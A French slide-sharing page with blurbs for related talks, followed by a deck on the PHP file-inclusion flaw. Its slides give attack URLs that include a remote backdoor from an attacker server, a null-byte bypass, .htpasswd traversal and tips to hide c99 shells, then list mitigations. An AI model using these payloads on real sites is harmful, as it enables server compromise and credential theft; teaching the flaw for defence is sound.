Comprendre la sécurité web - Présentation effectuée à "Ubuntu Paris 1610" par Christophe Villeneuve.
La sécurité est une affaire de tous. Il est indispensable d'en prendre comprendre les concepts et de se protéger
Comprendre la sécurité web - Présentation effectuée à "Ubuntu Paris 1610" par Christophe Villeneuve.
La sécurité est une affaire de tous. Il est indispensable d'en prendre comprendre les concepts et de se protéger
DVWA ou Damn Vulnerable Web Applications fait généralement partie des premiers travaux pratiques sur lesquels on se penche pour débuter en audit/pentest de sécurité.
Nous commençons donc avec les failles de type CSRF.
Sécurité : Fonctionnement et impact d’une attaque CSRF
L’objectif même de l’attaque est généralement d’exécuter une action, exemple : Créer un utilisateur sur un site web.
OWASP Top Ten 2007 - Sommaire executif - French versionspl0it
Presentation faite au chapitre OWASP Montreal, le 24 fevrier 2009. Sommaire executif, visuel et haut niveau. Permet de comprendre visuellement le Top Ten avec des exemples concrets, pour attirer l'interet des gestionnaires d'entreprise sur l'importance de la securite applicative.
Dans cet article, vous allez voir comment protéger votre site en utilisant la technique du "Pot de Miel".
- https://github.com/pH-7/
- https://github.com/pH-7/Honeypots
- http://ph7.me
Dans cet article, vous allez voir comment créer facilement une barre de progression en temps réel grâce aux nouvelles variables de session ajoutées à PHP 5.4
- https://github.com/pH-7/PHP5.4-Session-Upload-Progress-Bar
- http://ph7.me
- https://www.php.net/manual/fr/session.upload-progress.php
Découverte d'aeSecure, sécurisation et optimisation sites ApacheChristophe Avonture
aeSecure est une solution logicielle de protection et d'optimisation de sites web Apache. Il s'agit d'une interface de gestion permettant de définir des règles de protection ou d'optimisation pour garantir l'intégrité de votre site web Apache, que ce soit un CMS (Joomla!®, Drupal, WordPress, Prestashop, ...) ou un code autres (php propriétaire, html, ...).
Le diaporama vise à faire connaissance des outils d'aeSecure, les étapes pour l'installer et le configurer ainsi que différents conseils comme, par exemple, la liste des options qu'il convient d'activer sur la version gratuite ainsi que les fonctionnalités additionnelles pour la version Premium / Pro.
Les outils tels que phpinfo, penetration testing, fichiers ayant été modifiés récemment, ... y sont mentionnés de même qu'une explication détaillée de l'interface de gestion multi-sites qui permet de gérer, depuis une seule page web, l'ensemble de ses sites "aeSécurisés".
Les outils d'analyses des fichiers logs Apache et du logiciel de nettoyage de sites vérolés y sont également décrits.
Enfin, ce diaporama explique également comment identifier un blocage résultant d'une règle de sécurité d'aeSecure et, le cas échéant, vous explique comment lever le blocage afin de créer une exception pour votre site.
aeSecure est un logiciel Freemium disponible à l'URL http://www.aesecure.com et disponible en plusieurs langues (Français, Anglais, Portugais, Brésilien, Russe, ... et partiellement en Arabe, Italien, Espagnol, ...). D'autres langues s'ajouteront dans le futur.
Accroître la sécurité de son site internet et de Joomla! plus spécifiquementChristophe Avonture
Reccueil de conseils permettant d'accroître la sécurité de son site internet, plus spécifiquement Joomla!. Cette présentation aborde la sécurité sur le web en général (stratégie de mots de passe, protection de l'ordinateur, ...) puis celle d'un site web. Plusieurs outils sont epxliqués dont aeSecure qui est un parefeu logiciel permettant de protéger tout site tournant sur un serveur Apache.
Découvrir toutes les raisons qui peuvent rendre un site WordPress non-sécurisé et non-performant, puis comprendre tout les aspects de l'hébergement web, de la configuration de WordPress et des techniques de programmation recommandées pour sécuriser et optimiser votre site.
Support de présentation de la conférence du 17 Novembre 2009, organisée chez Microsoft et animée par Blue acacia, portant sur les best practices en matière de sécurité sur le développement et l’hébergement de sites Internet.
DVWA ou Damn Vulnerable Web Applications fait généralement partie des premiers travaux pratiques sur lesquels on se penche pour débuter en audit/pentest de sécurité.
Nous commençons donc avec les failles de type CSRF.
Sécurité : Fonctionnement et impact d’une attaque CSRF
L’objectif même de l’attaque est généralement d’exécuter une action, exemple : Créer un utilisateur sur un site web.
OWASP Top Ten 2007 - Sommaire executif - French versionspl0it
Presentation faite au chapitre OWASP Montreal, le 24 fevrier 2009. Sommaire executif, visuel et haut niveau. Permet de comprendre visuellement le Top Ten avec des exemples concrets, pour attirer l'interet des gestionnaires d'entreprise sur l'importance de la securite applicative.
Dans cet article, vous allez voir comment protéger votre site en utilisant la technique du "Pot de Miel".
- https://github.com/pH-7/
- https://github.com/pH-7/Honeypots
- http://ph7.me
Dans cet article, vous allez voir comment créer facilement une barre de progression en temps réel grâce aux nouvelles variables de session ajoutées à PHP 5.4
- https://github.com/pH-7/PHP5.4-Session-Upload-Progress-Bar
- http://ph7.me
- https://www.php.net/manual/fr/session.upload-progress.php
Découverte d'aeSecure, sécurisation et optimisation sites ApacheChristophe Avonture
aeSecure est une solution logicielle de protection et d'optimisation de sites web Apache. Il s'agit d'une interface de gestion permettant de définir des règles de protection ou d'optimisation pour garantir l'intégrité de votre site web Apache, que ce soit un CMS (Joomla!®, Drupal, WordPress, Prestashop, ...) ou un code autres (php propriétaire, html, ...).
Le diaporama vise à faire connaissance des outils d'aeSecure, les étapes pour l'installer et le configurer ainsi que différents conseils comme, par exemple, la liste des options qu'il convient d'activer sur la version gratuite ainsi que les fonctionnalités additionnelles pour la version Premium / Pro.
Les outils tels que phpinfo, penetration testing, fichiers ayant été modifiés récemment, ... y sont mentionnés de même qu'une explication détaillée de l'interface de gestion multi-sites qui permet de gérer, depuis une seule page web, l'ensemble de ses sites "aeSécurisés".
Les outils d'analyses des fichiers logs Apache et du logiciel de nettoyage de sites vérolés y sont également décrits.
Enfin, ce diaporama explique également comment identifier un blocage résultant d'une règle de sécurité d'aeSecure et, le cas échéant, vous explique comment lever le blocage afin de créer une exception pour votre site.
aeSecure est un logiciel Freemium disponible à l'URL http://www.aesecure.com et disponible en plusieurs langues (Français, Anglais, Portugais, Brésilien, Russe, ... et partiellement en Arabe, Italien, Espagnol, ...). D'autres langues s'ajouteront dans le futur.
Accroître la sécurité de son site internet et de Joomla! plus spécifiquementChristophe Avonture
Reccueil de conseils permettant d'accroître la sécurité de son site internet, plus spécifiquement Joomla!. Cette présentation aborde la sécurité sur le web en général (stratégie de mots de passe, protection de l'ordinateur, ...) puis celle d'un site web. Plusieurs outils sont epxliqués dont aeSecure qui est un parefeu logiciel permettant de protéger tout site tournant sur un serveur Apache.
Découvrir toutes les raisons qui peuvent rendre un site WordPress non-sécurisé et non-performant, puis comprendre tout les aspects de l'hébergement web, de la configuration de WordPress et des techniques de programmation recommandées pour sécuriser et optimiser votre site.
Support de présentation de la conférence du 17 Novembre 2009, organisée chez Microsoft et animée par Blue acacia, portant sur les best practices en matière de sécurité sur le développement et l’hébergement de sites Internet.
Le fichier htaccess de Joomla, la sécurité de votre site mais pas que ...Sylvie CECI
Réponses aux questions : Qu'est ce que le fichier .htaccess ? Emplacement d'un fichier .htaccess - A quoi sert un fichier .htaccess ? Créer, utiliser, mettre en ligne le .htaccess - Créer une redirection 301
Présentation donnée lors du JIT 2009 à Québec pour Infoglobe. Cette présentation présentait succintement l'installTool ainsi que l'outil "superadmin.php" et l'extension "lowlevel"
WordPress.com est une plateforme d’hébergement, vous vous concentrez uniquement sur la création de contenu ! Il s’agit d’une formule clé en main de type Blogger, TypePad, etc. Facile, rapide, mais très limité et payant.
2024 03 27 JTC actualités C Perrot (idele).pdfidelewebmestre
Quelque que soit les secteurs de production, les pyramides des âges des agriculteurs français (chefs et coexploitants) présentent presque toujours un double déséquilibre : i) en faveur des classes d’âges à partir de 50-55 ans, ii) en défaveur des femmes, surtout de moins de 40 ans. Si le secteur caprin est une exception à cette règle, c’est principalement grâce aux producteurs qui transforment du lait à la ferme. Cette sous population présente le même équilibre, en classe d’âge et en sex ratio, que la population active française en emplois tous secteurs économiques confondus. C’est légèrement moins vrai pour les classes d’âge les plus jeunes (moins de 30 ans) : le métier d’éleveur.se est un métier d’indépendant alors que les jeunes actifs français sont salariés. Cet équilibre parfait du secteur caprin fermier s’explique par une forte attractivité. 40% des éleveur.se.s présents en 2020 s’étaient installés depuis 2010 ! Deux fois plus que dans les autres secteurs de l’élevage. Bien que pour l’instant stable (taux de remplacement des départs, entrées/sorties, proche de 100%), la sous population des éleveurs qui livrent du lait de chèvre est plus fragile. Compte tenu d’un très faible taux de renouvellement (nombre d’entrées/nombre de présents), elle vieillit et pourrait finir par diminuer. Néanmoins comme les besoins de recrutement sont bien moins élevés qu’en bovins lait par exemple, les marges de manoeuvre pour la filière semblent plus accessibles.
JTC_2024_TC Bâtiment et bien-être estival.pdfidelewebmestre
Le changement climatique s’exprime de plus en plus par la manifestation d’épisodes caniculaires et par la diminution de la ressource fourragère en été, ce qui contraint les éleveurs à rentrer leur troupeau plus fréquemment. Les animaux logés en bâtiment pendant la période estivale sont exposés à un stress thermique qui peut altérer leur bien-être et leurs performances à court et moyen terme. La conception du bâtiment ou certains équipements peuvent permettre de réduire ce stress pour assurer un meilleur confort aux animaux pendant les périodes de fortes chaleurs.
Provinlait 2024-Leviers fourrages - Madrid Aurélie Frayssinhes, Sandra (Cha...idelewebmestre
Les éleveurs ovins sont confrontés aux impacts du changement climatique sur leurs fermes et mettent en place des leviers d'adaptation dont certains ont été présentés lors du salon Provinlait : prairies multi-espèces, sursemis, méteils et dérobées estivales.
L’équipe du projet BeBoP a proposé un webinaire le 30 mai 2024 pour découvrir comment la technologie vidéo, combinée à l’intelligence artificielle, se met au service de l’analyse du comportement des taurillons.
Le comité de filière ovin et les équipes de l’Institut de l’Elevage ont présenté lors d'un webinaire, comment la sélection génétique contribue aux enjeux actuels de la production ovine. Quelles sont les travaux en cours et les perspectives d’étude sur la brebis de demain.
Intervention : La génétique, un levier majeur pour les enjeux à venir (Mathieu Foucault)
Le comité de filière ovin et les équipes de l’Institut de l’Elevage ont présenté lors d'un webinaire, comment la sélection génétique contribue aux enjeux actuels de la production ovine. Quelles sont les travaux en cours et les perspectives d’étude sur la brebis de demain.
Intervention : La génétique s’adapte à la demande de la filière ovine (Gilles Lagriffoul)
01-La génétique s’adapte à la demande de la filière ovine
présentation Faille include
1.
2. la faille PHP la plus connue dans le monde
des sites web, du à une erreur de
programmation commise par un développeur
peu soucieux en matière de sécurité
L'include sert principalement à inclure une
page dans une autre ou encore plus
fréquament à inclure des variables
provenants d'un fichier de configuration.
3. Exemple
Si toutes vos pages requièrent la page mysql.php dans
laquelle sont contenues les informations de connexion
a la base de données, il convient de l’inclure dans
chacune de vos pages plutôt que de retaper
l’équivalent de mysql.php dans toutes celle-ci.
La fonction include vous permettre de n’avoir qu’une
seule page mysql.php, et toutes les pages de votre
site l’incluront (le même cas pour le menu, header et
le footer)
4. 1) Inclusion d'un autre page.
<?
include($page);
?>
Dans un code html:
<html>
<head>
<title>Page1</title>
<meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-1">
</head>
<body>
<? include("maj.php"); ?> // La page que nous incluons
dans page1.php
</body>
</html>
5. 2) Inclusion de variables
<?
//---------------------------------------------------
//------------- Page config.php ---------------
//---------------------------------------------------
$login = "admin";
$pass = "pass";
//-------------------- END -----------------------
?>
<?
//---------------------------------------------------
//------------- Page protec.php ---------------
//---------------------------------------------------
include("config.php"); // La page config.php ou sont stokés les variables
if($good1==$login & $good2==$pass)
{
include ("identification_ok.php"); // si le login et le pass est identique au config.php
}
else
{
echo "<center>Mauvais login/pass</center><br>";
include ("admin.php");
}
//-------------------- END -----------------------
6.
http://www.sitevictime.com/index.php?page=menu.php
Icil a page menu.php est inclue.La variable ce nomme "page".
Que ce passe-t-il si nous modifions la valeur de la variable "page" qui
vaut "menu.php" ?
Testons ensemble .
http://www.sitevictime.com/index.php?page=http://www.google.fr
Chose dite chose faite !
Nous avons inclue notre page "google"
Donc nous avons modifié la valeur de la variable.
A ce moment là, plusieurs choix s'offrent à vous.
- Soit vous êtes redirigé vers l'index du site ou, vous avez une page
d'**orthographe !**.Oui on arrive sur une erreur 404, c'est que la faille
semble être protégée.
7. - Soit vous voyez Google qui s'affiche à la place
de la page qui devrait être inclue.
Ce que signifie faille Include est présente.
Donc nous pouvons modifier la variable "page".
Pourquoi ne pas alors inclure notre propre
page qui contient un code malicieux, comme
nous avons fait avec Google !
on pourrait très bien inclure un script
malveillant, un shell et avoir acces au serveur
puis faire ce que l'on veut.
On pourrait aussi inclure un
fichier .htaccess et/ou .htpasswd (qui contient,
en principe, les mots de passes).
8. Imaginez que cette page en question soit
une backdoor comme c99.php ! nous
pourrons alors lister tous les fchiers, les
éditer, en créer, accéder à la base de
données,
9. Pour détecter une faille include sur un site web, Il
suffit de tester tous les paramètres possibles de l’URL
et d’observer le résultat. Le but est de faire planter le
site web en essayant d’inclure une page qui n’existe
pas.
Si une une URL est vulnérable alors nous devons avoir
un warning PHP de ce type :
Warning: main([PARAMETRE_INCORRECT]): failed to
open stream: No such file or directory in
[URL_DE_LA_PAGE].php on line [NUMERO_DE_LIGNE]
Warning: main(): Failed opening
‘[PARAMETRE_INCORRECT]‘ for
inclusion (include_path=’.:/usr/share/php:/usr/share
/pear’) in [URL_DE_LA_PAGE].php on line
[NUMERO_DE_LIGNE]
10. 1. La faille include a distance
Tout d’abord nous devons avoir une backdoor près a être
employer, pour cela tapez dans google une backdoor précise
comme r57, c99, c100 myshell, etc. Il préférable de l’encoder
en base64 encoding pour ne pas être détecter.
Nous supposons que nous avons trouvé la faille sur un site, et
qu’elle permette l’inclusion de n’importe quelle page.
Maintenant, il ne nous reste plus qu’à placer notre backdoor sur
notre serveur FTP ou un serveur gratuit n’exécutant pas le PHP.
Quelque soit la solution choisie, nous pouvons donc appeler la
page vulnérable de cette manière :
index.php?page=http://notre-serveur.com/backdoor.php
(si elle est sur un serveur FTP, remplacez évidemment http ://
par ftp :// et indiquez le login/pass de manière habituelle).
Et nous verrons notre backdoor s’afficher comme suit:
11.
12. Parfois on tombe sur une page vulnérable mais avec
un code différent de celui que nous avons vu dans le
paragraphe précédent, par exemple :
1<?php
2if(isset($_GET['page']))
3include($_GET['page'] . ".php");
4else
5include('default.php');
6?>
Ici l’extension « .php » est automatiquement rajoutée
à la variable. Cela force notre fichier backdoor.php a
devenir backdoor.php.php et ça ne va pas s’exécuter
sur le serveur vulnérable.
13. Alors que faire ?
Il existe une solution très simple pour bypasser ce
filtre, c’est la technique null byte. Il consiste à placer
un zéro ASCII a la fin de notre URL. Il faudra donc
inclure :
index.php?page=http://notre-
serveur.com/backdoor.txt%00
Une petite explication
La fonction include() va être traitée par une fonction
programmée en langage C. Et en C, on désigne la fin
d’une chaîne de caractères par un octet null (x00 en
notation classique). c’est pour ça notre chaîne de
caractère(backdoor.php%00.php) sera tronqué en
trouvant le caractère %00 !
14. Nous n’avons Jusqu’ici cherché qu’à inclure une backdoor a
distance. Mais sachez qu’il est tout à fait possible, avec cette
faille, d’exécuter un fichier se trouvant sur le serveur vulnérable !
Et d’ailleurs, c’est quelque fois la seule possibilité, car certaines
protections désactivent la possibilité d’inclure du code situé sur
un autre serveur.
Nous pouvons donc afficher tous les pages a l’intérieur de
l’index, de cette
manière: http://www.cible.com/index.php?page=/test/test.php
Et comme ça, nous allons pouvoir naviguer dans tout les
répertoires du site, voir même du serveur s’il n’est pas chmoder
En pratique, c’est assez simple, en faite nous allons essayer de
deviner dans quel répertoire ils se trouvent un fichier intéressant
comme htpasswd, en testant successivement des paramètres
comme « ../.htpasswd » ou « ../../.htpasswd » ou encore
« ../dossier/.htpasswd ».
-
15. Et pour inclure ce fichier, vous faites comme
ceci:
http://www.sitevictime.com/index.php?pag
e=http://www.votresite/code_malicieux.ph
p
Et voilà votre page "code_malicieux.php" a
bien été inclue.
16. La sécurisation de scripts PHP est une étape importante à
prendre en compte lors de toute conception de site ou de
script, simple ou complexe.
PHP permet déjà si on le configure correctement d'éliminer
pas mal de problèmes de sécurité pour dissimuler des URL
et des fichiers.
Les register_globals :
PHP est enfin configuré avec le
paramètre register_globals à off par défaut. Vous pouvez
désactiver les register_globals via le fichier php.ini,
recherchez la ligne register_globals et attribuez-lui la
valeur Off. Vous pouvez également passer par un
fichier .htaccess, vous devrez dans ce cas rajouter la ligne
suivante : php_flag register_globals off. Ceci désactivera
les register_globals, qui sont une vraie plaie pour la
sécurité d'un script.
17. La meilleure façon pour corriger une include
est de : Faire un test pour chaque pages de
votre site, certes c’est long mais il n’y a pas
mieux à vous de voir après.
En php4, mettre la commande allow_url_fopen à off. Cette
dernier permet la lecture de fichiers situés sur un autre serveur;
En php5, mettre la commande allow_url_include à off. C’est un
apport par rapport à php4, qui distingue les fichiers lus des
fichiers inclus.
18. Sécuriser la faille
On peut forcer d'inclure un page dans un dossier comme ça si le pirate veur
inclure un site externe cela donnera :
include("mon_dossier/http://google.com");
Ce qui échouera pour le pirate.
Le mieux pour sécuriser cette faille est d'utiliser la fonction basename qui permet
de garder uniquement la base d'un chemin. Exemple
:http://exemle.com/script.php retourne juste script.php.
Voici un exemple ou j'ai rajouter un "file_exists" pour être sur d'inclure la page
seulement si elle existe sinon on lui affiche l'index.
$page = basename($_GET['page']); //$page : la page capturée de
l'url (pour simplifier) et on prend le nom de base
if (file_exists("mon_dossier/$page.html")){ //Si la page existe, on l'inclus
include("mon_dossier/$page.html"); //On force le .html
} else {
include('mon_dossier/index.html'); //Si elle n'existe pas, on inclus
l'index
}
19. Attention maintenant à la faille dans votre site, c'est à dire qu'un
visiteur inclue une page de votre site pour laquelle il n'a pas les
droits d'accès en remontant d'un répertoire par exemple... Vous
pouvez utiliser pour contrer cela les Expressions régulières en
enlevant les caractères spéciaux : le slash, le point et l'antislash...
qui pourraient prendre place dans l'url.